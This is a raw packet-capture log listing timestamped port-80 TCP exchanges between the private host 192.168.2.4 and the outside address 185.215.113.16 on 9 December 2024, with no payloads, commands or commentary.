Dec 9, 2024 23:09:12.354461908 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.354523897 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.355660915 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.355717897 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.355792999 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.355846882 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.356489897 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.356537104 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.356601954 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.356648922 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.357593060 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.357647896 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.357707024 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.357778072 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.358743906 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.358797073 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.358877897 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.358926058 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.359721899 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.359766960 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.359817028 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.359860897 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.361063957 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.361109972 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.361315966 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.361366034 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.362214088 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.362257957 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.362261057 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.362310886 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.363028049 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.363079071 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.363243103 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.363289118 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.364684105 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.364727974 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.364748001 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.364816904 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.365360022 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.365410089 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.365466118 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.365508080 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.366236925 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.366296053 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.366355896 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.366395950 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.367321014 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.367364883 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.367439985 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.367482901 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.368396044 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.368439913 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.368525982 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.368566990 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.369489908 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.369532108 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.369606018 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.369647980 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.370590925 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.370637894 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.370696068 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.370738983 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.371699095 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.371743917 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.371761084 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.371799946 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.372734070 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.372785091 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.499178886 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.499267101 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.499326944 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.499371052 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.499634027 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.499677896 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.499993086 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.500091076 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.500744104 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.500770092 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.500812054 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.500845909 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.501816988 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.501924038 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.501971960 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.502935886 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.502978086 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.503057003 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.503098965 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.504107952 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.504328966 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.504374027 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.505033016 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.505088091 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.505116940 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.505162954 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.515223980 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.515290022 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.515388012 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.515718937 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.515765905 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.515839100 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.515887022 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.516788006 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.516905069 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.516956091 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.517936945 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.517990112 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.518018007 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.518060923 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.519037008 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.519092083 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.519113064 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.519156933 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.520049095 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.520205975 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.520258904 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.521167040 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.521225929 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.521457911 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.521509886 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.522195101 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.522252083 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.522330046 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.522449017 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.523325920 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.523382902 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.523413897 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.523489952 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.524372101 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.524636984 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.524698019 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.525480986 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.525536060 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.525572062 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.525635958 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.526532888 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.526633978 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.526634932 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.526680946 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.527642965 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.527693033 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.527704954 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.527746916 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.528886080 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.528915882 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.528969049 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.529856920 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.529907942 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.530122995 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.530170918 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.530885935 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.530932903 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.530966997 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.531008959 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.531960964 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.532094002 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.532143116 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.533044100 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.533087969 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.533097029 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.533138037 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.534181118 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.534226894 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.534255981 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.534298897 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.535224915 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.535270929 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.535305977 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.535367966 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.536304951 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.536441088 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.536616087 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.537400007 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.537456989 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.537535906 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.537585020 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.538551092 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.538616896 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.538635015 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.538682938 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.539587021 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.539638996 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.539695978 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.539742947 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.540682077 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.540805101 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.540848970 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.541729927 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.541770935 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.541794062 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.541841030 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.542794943 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.542889118 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.542951107 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.543922901 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.543975115 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.544008017 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.544058084 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.544997931 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.545047998 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.545084000 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.545134068 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.546076059 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.546124935 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.546186924 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.546256065 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.547183990 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.547236919 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.547265053 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.547321081 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.548285007 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.548413992 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.548465967 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.549360037 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.549411058 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.549439907 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.549482107 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.550431013 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.550509930 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.550543070 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.550595999 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.551477909 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.551527977 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.551671028 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.551722050 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.552602053 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.552792072 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.552836895 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.553637981 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.553685904 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.553738117 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.553786993 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.554733038 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.554784060 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.554863930 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.554909945 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.555816889 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.555866957 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.555911064 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.556922913 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.556988001 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.557107925 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.557152033 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.558007956 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.558062077 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.558146954 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.558199883 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.559097052 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.559151888 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.559166908 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.559214115 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.560172081 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.560309887 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.560349941 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.561280966 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.561330080 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.561374903 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.561422110 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.562331915 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.562380075 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.562632084 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.562685013 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.563481092 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.563532114 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.563658953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.563709974 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.564476967 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.567946911 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.691152096 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.691335917 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.691422939 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.691679955 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.691843987 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.691849947 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.691895008 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.692811966 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.692939043 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.693002939 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.693888903 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.693942070 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.693974018 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.694020033 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.694926977 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.694982052 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.694986105 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.695033073 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.696011066 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.696072102 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.696122885 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.697087049 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.697137117 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.697154045 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.697207928 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.707256079 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.707348108 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.707396030 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.707722902 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.707771063 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.707803965 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.707844019 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.708797932 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.708894968 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.708931923 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.709956884 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.710036993 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.710069895 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.710114002 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.710994959 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.711049080 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.711214066 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.711267948 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.712099075 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.712148905 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.712178946 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.712243080 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.713156939 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.713212967 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.713290930 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.713340044 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.714263916 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.714315891 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.714690924 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.714745998 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.715361118 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.715410948 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.715460062 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.715508938 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.716428995 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.716538906 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.716583967 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.717531919 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.717592001 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.717818975 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.717870951 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.718596935 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.718652964 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.718769073 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.718864918 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.719666004 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:12.719723940 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:12.719758987 CET	80	49770	185.215.113.16	192.168.2.4
